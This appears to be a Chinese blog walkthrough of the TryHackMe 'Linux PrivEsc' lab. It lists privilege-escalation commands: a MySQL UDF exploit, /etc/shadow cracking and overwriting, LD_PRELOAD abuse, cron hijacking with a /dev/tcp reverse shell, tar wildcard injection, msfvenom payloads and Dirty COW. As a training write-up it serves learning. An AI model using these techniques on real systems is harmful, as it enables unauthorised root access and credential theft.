linux系统提权 | tryhackme | Linux PrivEsc

linux系统提权

TryHackMe的 |Linux PrivEsc
ssh user@MACHINE_IP

账号密码
user
password321

0x01 服务器漏洞利用

漏洞:
MySQL服务以root身份运行,并且该服务的“root”用户没有分配密码。我们可以使用一个流行的漏洞利用,利用用户定义的函数 (UDF) 通过 MySQL 服务以 root 身份运行系统命令。

切换到 /home/user/tools/mysql-udf 目录:

cd /home/user/tools/mysql-udf

使用以下命令编译 raptor_udf2.c 漏洞利用代码:

gcc -g -c raptor_udf2.c -fPIC<br _mstvisible="6"/>gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc<br _mstvisible="6"/>

使用空白密码以 root 用户身份连接到 MySQL 服务:

mysql -u root

在MySQL shell上执行以下命令,以使用我们编译的漏洞创建用户定义函数(UDF)“do_system”:

<span _mstvisible="6">use mysql;</span><br _mstvisible="6"/><span _mstvisible="6">create table foo(line blob);</span><br _mstvisible="6"/><span _mstvisible="6">insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));</span><br _mstvisible="6"/><span _mstvisible="6">select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';</span><br _mstvisible="6"/><span _mstvisible="6">create function do_system returns integer soname 'raptor_udf2.so';</span>

使用函数将 /bin/bash 复制到 /tmp/rootbash 并设置 SUID 权限:

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

退出 MySQL shell(键入 exit\q 并按 Enter )并使用 -p 运行 /tmp/rootbash 可执行文件以获得以 root 权限运行的 shell:

/tmp/rootbash -p

请记住删除 /tmp/rootbash 可执行文件并退出 root shell,然后再继续,因为稍后您将在房间中再次创建此文件!

rm /tmp/rootbash<br _mstvisible="6"/>exit

0x02 弱文件权限 - 可读 /etc/shadow

/etc/shadow 文件包含用户密码哈希,通常只能由 root 用户读取。

请注意,VM 上的 /etc/shadow 文件是全局可读的:

ls -l /etc/shadow

查看 /etc/shadow 文件的内容:

cat /etc/shadow

文件的每一行都代表一个用户。用户的密码哈希(如果有的话)可以在每行的第一个和第二个冒号(:)之间找到。

将 root 用户的哈希保存到 Kali VM 上名为 hash.txt 的文件中,并使用john the ripper1破解它。您可能需要先解压缩 /usr/share/wordlists/rockyou.txt.gz,然后根据 Kali 的版本使用 sudo 运行命令:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

切换到 root 用户,使用破解的密码:

su root

0x03 弱文件权限 - 可写 /etc/shadow

/etc/shadow 文件包含用户密码哈希,通常只能由 root 用户读取。

请注意,VM 上的 /etc/shadow 文件是全局可写的:

ls -l /etc/shadow

使用您选择的密码生成新的密码哈希:

mkpasswd -m sha-512 newpasswordhere

(密码是newpasswordhere)

编辑 /etc/shadow 文件,并将原始 root 用户的密码哈希替换为您刚刚生成的密码哈希。

切换到 root 用户,使用新密码:

su root

请记住在继续之前退出 root shell!

0x04 弱文件权限 - 可写 /etc/passwd

/etc/passwd 文件包含有关用户帐户的信息。它是全局可读的,但通常只能由 root 用户写入。从历史上看,/etc/passwd 文件包含用户密码哈希,某些版本的 Linux 仍然允许将密码哈希存储在那里。

请注意,/etc/passwd 文件是全局可写的:

ls -l /etc/passwd

使用您选择的密码生成新的密码哈希:

openssl passwd newpasswordhere

(密码是newpasswordhere)

编辑 /etc/passwd 文件,并将生成的密码哈希放在 root 用户行的第一个和第二个冒号 (😃 之间(替换“x”)。

切换到 root 用户,使用新密码:

su root

或者,复制 root 用户的行并将其追加到文件底部,将单词“root”的第一个实例更改为“newroot”,并将生成的密码哈希放在第一个冒号和第二个冒号之间(替换“x”)。

现在切换到 newroot 用户,使用新密码:

su newroot

请记住在继续之前退出 root shell!

(exit)

0x05 Sudo - Shell 转义序列

列出 sudo 允许用户运行的程序:

sudo -l

访问 go awayBins (https://gtfobins.github.io) 并搜索一些程序名称。如果程序以“sudo”作为函数列出,则可以使用它来提升权限,通常是通过转义序列。

从列表中选择一个程序,然后尝试使用 go awayBins 中的说明获取 root shell。

对于额外的挑战,请尝试使用列表中的所有程序获得 root shell!

请记住在继续之前退出 root shell!

0x06 sudo - 环境变量

Sudo 可以配置为从用户环境中继承某些环境变量。

检查继承了哪些环境变量(查找env_keep选项):

sudo -l

LD_PRELOAD 和 LD_LIBRARY_PATH 都是从用户环境继承的。LD_PRELOAD程序运行时,在加载任何其他对象之前加载共享对象。LD_LIBRARY_PATH提供了首先搜索共享库的目录列表。

使用位于 /home/user/tools/sudo/preload.c 的代码创建共享对象:

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

运行允许您通过 sudo 运行的程序之一(在运行 sudo -l 时列出),同时将 LD_PRELOAD 环境变量设置为新共享对象的完整路径:

sudo LD_PRELOAD=/tmp/preload.so program-name-here

应该生成一个 root shell。在继续之前退出 shell。根据您选择的程序,您可能还需要退出此程序。

(失败了,原因不明)

对 apache2 程序文件运行 ldd 以查看程序使用了哪些共享库:

ldd /usr/sbin/apache2

使用位于 /home/user/tools/sudo/library_path.c 的代码创建与列出的库之一 (libcrypt.so.1) 同名的共享对象:

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c

使用 sudo 运行 apache2,同时将 LD_LIBRARY_PATH 环境变量设置为 /tmp(我们在其中输出编译的共享对象):

sudo LD_LIBRARY_PATH=/tmp apache2

应该生成一个 root shell。退出 shell。尝试将 /tmp/libcrypt.so.1 重命名为 apache2 使用的另一个库的名称(ldd语句中),然后再次使用 sudo 重新运行 apache2。它起作用了吗?如果没有,请尝试找出为什么不这样做,以及如何更改 library_path.c 代码以使其正常工作。

请记住在继续之前退出 root shell!

0x07 Cron Jobs - 文件权限

Cron 作业是用户可以安排在特定时间或间隔运行的程序或脚本。cron 表文件 (crontabs) 存储 cron 作业的配置。系统范围的 crontab 位于 /etc/crontab。

查看系统范围的 crontab 的内容:

cat /etc/crontab

应该计划每分钟运行两个 cron 作业。一个运行 overwrite.sh,另一个运行 /usr/local/bin/compress.sh。

找到 overwrite.sh 文件的完整路径:

locate overwrite.sh

请注意,该文件是全局可写的:

ls -l /usr/local/bin/overwrite.sh

将 IP 地址更改为 Kali 框的 IP 地址后,将 overwrite.sh 文件的内容替换为以下内容。

nano /usr/local/bin/overwrite.sh

#!/bin/bash
bash -i >& /dev/tcp/<-靶机IP->/4444 0>&1

在端口 4444 上的 Kali 盒子上设置一个 netcat 侦听器,并等待 cron 作业运行(不应超过一分钟)。root shell 应连接回 netcat 侦听器。如果它没有重新检查文件的权限,是否缺少任何内容?

nc -nvlp 4444

请记住在继续之前退出 root shell 并删除反向 shell 代码!(overwrite.sh的新增内容)

0x08 Cron 作业 - PATH 环境变量

查看系统范围的 crontab 的内容:

cat /etc/crontab

请注意,PATH 变量以 /home/user 开头,这是我们用户的主目录。

在主目录中创建一个名为 overwrite.sh 的文件,其中包含以下内容:

nano /home/user/overwrite.sh (?是这里搞错了吗)

#!/bin/bash
cp /bin/bash
/tmp/rootbash
chmod +xs /tmp/rootbash

确保文件是可执行的:

chmod +x /home/user/overwrite.sh

等待 cron 作业运行(不应超过一分钟)。运行带有 -p 的 /tmp/rootbash 命令以获得以 root 权限运行的 shell:

/tmp/rootbash -p

(失败,原因不明)

请记住删除修改后的代码,删除 /tmp/rootbash 可执行文件并退出提升的 shell,然后再继续,因为稍后您将在房间中再次创建此文件!

rm /tmp/rootbash

exit

0x09 Cron Jobs - 通配符

查看其他 cron 作业脚本的内容:

cat /usr/local/bin/compress.sh

请注意,tar 命令在主目录中使用通配符 (*) 运行。

查看 go awayBins 页面以获取 tar。请注意,tar 具有命令行选项,允许您将其他命令作为检查点功能的一部分运行。

在 Kali 盒子上使用 msfvenom 生成反向 shell ELF 二进制文件。相应地更新 LHOST IP 地址:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<-靶机IP-> LPORT=4444 -f elf -o shell.elf

将 shell.elf 文件传输到 Debian VM 上的 / home/user/ (您可以使用 scp 或将文件托管在 Kali 盒子上的 Web 服务器上并使用 wget )。确保文件是可执行的:

chmod +x /home/user/shell.elf

在 /home/user 中创建这两个文件:

touch /home/user/--checkpoint=1<br _mstvisible="6"/>touch /home/user/--checkpoint-action=exec=shell.elf

当 cron 作业中的 tar 命令运行时,通配符 (*) 将展开以包含这些文件。由于它们的文件名是有效的 tar 命令行选项,因此 tar 会将它们识别为命令行选项,并将它们视为命令行选项而不是文件名。

在端口 4444 上的 Kali 盒子上设置一个 netcat 侦听器,并等待 cron 作业运行(不应超过一分钟)。root shell 应连接回 netcat 侦听器。

nc -nvlp 4444

请记住退出 root shell 并删除您创建的所有文件,以防止 cron 作业再次执行:

rm /home/user/shell.elf<br _mstvisible="6"/>rm /home/user/--checkpoint=1<br _mstvisible="6"/>rm /home/user/--checkpoint-action=exec=shell.elf

0x10 SUID / SGID 可执行文件 - 已知漏洞

在 Debian VM 上查找所有 SUID/SGID 可执行文件:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

请注意,/usr/sbin/exim-4.84-3 出现在结果中。尝试查找此版本 exim 的已知漏洞。Exploit-DB、Google 和 GitHub 是搜索的好地方!

应该有一个与此版本的 exim 完全匹配的本地权限提升漏洞。可以在 Debian VM 的 /home/user/tools/suid/exim/cve-2016-1531.sh 中找到副本。

运行漏洞利用脚本以获取 root shell:

/home/user/tools/suid/exim/cve-2016-1531.sh

请记住在继续之前退出 root shell!

0x11 SUID / SGID 可执行文件 - 共享对象注入

/usr/local/bin/suid-so SUID 可执行文件容易受到共享对象注入的攻击。

首先,执行该文件并注意当前它在退出之前显示一个进度条:

/usr/local/bin/suid-so

在文件上运行 strace 并在输出中搜索 open/access 调用和“no such file”错误:

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

请注意,可执行文件尝试在我们的主目录中加载 /home/user/.config/libcalc.so 共享对象,但找不到它。

为 libcalc.so 文件创建 .config 目录:

mkdir /home/user/.config

示例共享对象代码可在 /home/user/tools/suid/libcalc.c 中找到。它只是生成一个 Bash shell。将代码编译到 suid-so 可执行文件查找的位置的共享对象中:

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c

再次执行 suid-so 可执行文件,请注意,这一次,我们得到的不是进度条,而是 root shell。

/usr/local/bin/suid-so

请记住在继续之前退出 root shell!

0x12 SUID / SGID 可执行文件 - 环境变量

/usr/local/bin/suid-env 可执行文件可以被利用,因为它继承了用户的 PATH 环境变量,并尝试在不指定绝对路径的情况下执行程序。

首先,执行该文件并注意它似乎正在尝试启动 apache2 Web 服务器:

/usr/local/bin/suid-env

在文件上运行字符串以查找可打印字符的字符串:

strings /usr/local/bin/suid-env

一行 (“service apache2 start”) 表明正在调用服务可执行文件来启动 Web 服务器,但未使用可执行文件的完整路径 (/usr/sbin/service)。

将位于 /home/user/tools/suid/service.c 的代码编译为名为 service 的可执行文件。此代码只是生成一个 Bash shell:

gcc -o service /home/user/tools/suid/service.c

将当前目录(或新服务可执行文件所在的位置)附加到 PATH 变量,并运行 suid-env 可执行文件以获取 root shell:

PATH=.:$PATH /usr/local/bin/suid-env

请记住在继续之前退出 root shell!

0x13 SUID / SGID 可执行文件 - 滥用 shell 功能 (#1)

/usr/local/bin/suid-env2 可执行文件与 /usr/local/bin/suid-env 相同,只是它使用服务可执行文件 (/usr/sbin/service) 的绝对路径来启动 apache2 Web 服务器。

使用字符串验证这一点:

strings /usr/local/bin/suid-env2<br _mstvisible="6"/>

在 Bash 版本 <4.2-048 中,可以使用类似于文件路径的名称定义 shell 函数,然后导出这些函数,以便使用它们而不是该文件路径上的任何实际可执行文件。

验证 Debian VM 上安装的 Bash 版本是否低于 4.2-048:

/bin/bash --version

创建一个名为“/usr/sbin/service”的 Bash 函数,该函数执行新的 Bash shell(使用 -p 保留权限)并导出该函数:

function /usr/sbin/service { /bin/bash -p; }<br _mstvisible="6"/>export -f /usr/sbin/service

运行 suid-env2 可执行文件以获取 root shell:

/usr/local/bin/suid-env2

请记住在继续之前退出 root shell!

0x14 SUID / SGID 可执行文件 - 滥用 shell 功能 (#2)

注意:这不适用于 Bash 4.4 及更高版本。

在调试模式下,Bash 使用环境变量 PS4 来显示调试语句的额外提示。

运行 /usr/local/bin/suid-env2 可执行文件,启用 bash 调试,并将 PS4 变量设置为嵌入式命令,以创建 /bin/bash 的 SUID 版本:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

使用 -p 运行 /tmp/rootbash 可执行文件,以获得以 root 权限运行的 shell:

/tmp/rootbash -p

请记住删除 /tmp/rootbash 可执行文件并退出提升的 shell,然后再继续,因为稍后您将在房间中再次创建此文件!

rm /tmp/rootbash<br _mstvisible="6"/>exit

0x15 密码和密钥 - 历史文件

如果用户不小心在命令行上而不是在密码提示中键入密码,则该密码可能会记录在历史记录文件中。

查看用户主目录中所有隐藏历史记录文件的内容:

cat ~/.*history | less

请注意,用户曾尝试使用“root”用户名和通过命令行提交的密码连接到MySQL服务器。请注意,-p 选项和密码之间没有空格!

切换到 root 用户,使用密码:

su root

请记住在继续之前退出 root shell!

0x16 密码和密钥 - 配置文件

配置文件通常包含纯文本或其他可逆格式的密码。

列出用户主目录的内容:

ls /home/user

请注意 myvpn.ovpn 配置文件的存在。查看文件的内容:

cat /home/user/myvpn.ovpn

该文件应包含对可以找到 root 用户凭证的另一个位置的引用。使用以下凭据切换到 root 用户:

su root

请记住在继续之前退出 root shell!

0x17 密码和密钥 - SSH 密钥

有时,用户会备份重要文件,但无法使用正确的权限保护它们。

在系统根目录中查找隐藏的文件和目录:

ls -la /

请注意,似乎有一个名为 .ssh 的隐藏目录。查看目录的内容:

ls -l /.ssh

请注意,有一个名为 root_key 的全局可读文件。进一步检查此文件应表明它是私有 SSH 密钥。该文件的名称表明它是为 root 用户准备的。

将密钥复制到您的 Kali 框中(只需查看root_key文件的内容并复制/粘贴密钥会更容易)并为其提供正确的权限,否则您的 SSH 客户端将拒绝使用它:

chmod 600 root_key

使用密钥以 root 帐户身份登录 Debian VM(请注意,由于盒子的年龄,使用 SSH 时需要一些额外的设置):

ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@MACHINE_IP

请记住在继续之前退出 root shell!

0x18 NFS系统

通过 NFS 创建的文件继承远程用户的 ID。如果用户是 root,并且启用了 root 压缩,则 ID 将改为设置为“nobody”用户。

检查 Debian VM 上的 NFS 共享配置:

cat /etc/exports

请注意,/tmp 共享禁用了根压缩。

在 Kali 框中,如果您尚未以 root 身份运行,请切换到您的 root 用户:

sudo su

使用 Kali 的 root 用户,在 Kali 盒子上创建一个挂载点并挂载 /tmp 共享(相应地更新 IP):

mkdir /tmp/nfs<br _mstvisible="6"/>mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs

仍然使用 Kali 的 root 用户,使用 msfvenom 生成一个有效负载并将其保存到挂载的共享中(此有效负载只是调用 /bin/bash):

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

仍然使用 Kali 的 root 用户,使文件可执行并设置 SUID 权限:

chmod +xs /tmp/nfs/shell.elf

回到 Debian VM 上,以低权限用户帐户的身份执行该文件以获取 root shell:

/tmp/shell.elf

请记住在继续之前退出 root shell!

0x19 内核漏洞利用

内核漏洞可能会使系统处于不稳定状态,这就是为什么您应该只在万不得已的情况下运行它们。

运行 Linux 漏洞利用建议程序 2 工具以识别当前系统上的潜在内核漏洞:

perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl

应该列出流行的 Linux 内核漏洞“Dirty COW”。Dirty COW 的漏洞利用代码可在 /home/user/tools/kernel-exploits/dirtycow/c0w.c 中找到。它将 SUID 文件 /usr/bin/passwd 替换为生成 shell 的文件(在 /tmp/bak 中备份 /usr/bin/passwd)。

编译代码并运行它(请注意,可能需要几分钟才能完成):

gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w<br _mstvisible="6"/>./c0w

漏洞利用完成后,运行 /usr/bin/passwd 以获取 root shell:

/usr/bin/passwd

记得在继续之前恢复原来的 /usr/bin/passwd 文件并退出 root shell!

mv /tmp/bak /usr/bin/passwd<br _mstvisible="6"/>exit

0x20 权限提升脚本

已经编写了几种工具,这些工具有助于在 Linux 上找到潜在的权限升级。其中三个工具已包含在 Debian VM 的以下目录中:/home/user/tools/privesc-scripts


  1. john the ripper

    用 于 在 已 知 密文 的 情 况 下尝 试 破 解 出 明 文 的 破 解 密码 软 件。目 前 的 最 新 版 本 是 JOHN 1.4 版, 主要 支 持 对DES、 MD5 两 种 加 密 方式 的 密 文 进行 破 解 工 作。

    著名密码破解利器John the Ripper使用方法详解-CSDN博客 ↩︎

  • 9
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值